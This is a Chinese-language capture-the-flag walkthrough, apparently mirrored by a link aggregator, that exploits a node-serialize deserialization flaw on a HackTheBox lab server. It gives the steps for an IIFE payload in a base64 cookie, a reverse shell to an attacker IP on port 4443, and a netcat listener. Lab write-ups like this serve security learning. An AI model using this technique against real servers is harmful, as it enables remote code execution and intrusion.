42

Nodejs反序列化漏洞利用

 5 years ago
source link: http://www.freebuf.com/articles/web/183345.html?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

演示环境

目标机- Hackthebox节点机(10.10.10.85:3000)

攻击者机器- Kali linux

需要的工具- nodejs, npm, [nodejs工具包],node-serialize

关于反序列化攻击

不受信任的数据被传递到 unserialize() 函数,这导致我们可以绕过 JavaScript 对象的函数表达式 IIFE 来实现任意的代码执行。首先我们在 apt-get 命令下安装nodejs包,如下所示: apt-get install nodejs

Fz2uMjy.jpg!web

在下一步中,您需要在CURL命令下安装 npm 程序(使用npm 进一步安装 node-serialize 包),如下所示: curl -L https://www.npmjs.com/install.sh | sh

YZnQVjf.jpg!web

安装和配置完Nodejs和Npm之后,还要安装 node-serialize 包,输入 “ npm install node-serialize ” ,如下所示:

RF77beR.jpg!web

我们已经与HacktheBox服务器连接,其服务器的IP为10.10.10.85:3000(运行Nodejs Express Framework,您可以使用Nmap Scanning进一步确认) 。

MJRJNbB.jpg!web

第一步,我们使用Burp Suite捕获上述Nodejs的GET请求,如下所示:

BfQRvqV.jpg!web 第二步中,选择cookie值并将其发送到Decoder选项进行进一步解密。 InUjIjj.jpg!web

这个漏洞在于,它从HTTP请求中读取一个名为 profilecookie 值,并对cookie值进行base64解码,并将其传递给 unserialize() 函数。所以攻击者可以构建恶意cookie值来利用这个漏洞。

eia22uy.jpg!web 第三步,您需要下载Ajin Abraham开发的Nodejs Security Toolkit工具,要安装Nodejs Security Toolkit,请在终端中键入以下命令。 git clone https://github.com/ajinabraham/Node.Js-Security-Course.git nueQJfU.jpg!web 要创建一个反向shell,首先,您需要输入 “ ifconfig ”`` 找出IP ,然后运行以下命令: python nodejsshell.py 10.10.14.145 4443` r2iAfeZ.jpg!web 这是最后反向shell payload的输出。 bqUba23.jpg!web

现在让我们使用以下javascript生成序列化的payload

代码如下

var y = {
rce : function() {}
}
var serialize = require(‘node-serialize’);
console.log(“Serialized: \n” + serialize.serialize(y));
R7juE3v.jpg!web

用大括号 {    eval(String.from .........   } )添加上面的 payload 输出,如下所示:

ZRzUfuY.jpg!web

将文件另存为 exploit.js 并使用node命令运行,该命令生成最终的序列化payload,如下所示: node exploit.js

ErYj2mu.jpg!web

现在回到BurpSuite,导航到Decoder选项卡,将上面的输出代码粘贴到Textarea中,解码之前,在函数体后添加IIFE方括号(),在这里,我们需要Base64的编码,然后在Cookie头值中使用编码的payload向web服务器发出请求。

aI7fAbe.jpg!web

然后使用Repeater发送相同的请求。

JNBrmmn.jpg!web

在Repeater选项中,您需要将cookie值替换为我们从上面步骤生成的base64编码值,然后单击GO按钮。

MNzqYfE.jpg!web

同时,确保你的netcat服务在相同的端口上监听,例如4443(它的反向shell负载端口是相同的) nc -lvp 4443

Nn2MVnU.jpg!web

一旦你单击Go按钮,请求将命中到服务器,显示 200 OK 响应,并显示一条错误消息 “ 发生错误...无效的用户名类型 ” ,并立即在netcat终端中与该服务器连接,状态为 “ 已连接” “

mEB7Fvq.jpg!web

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK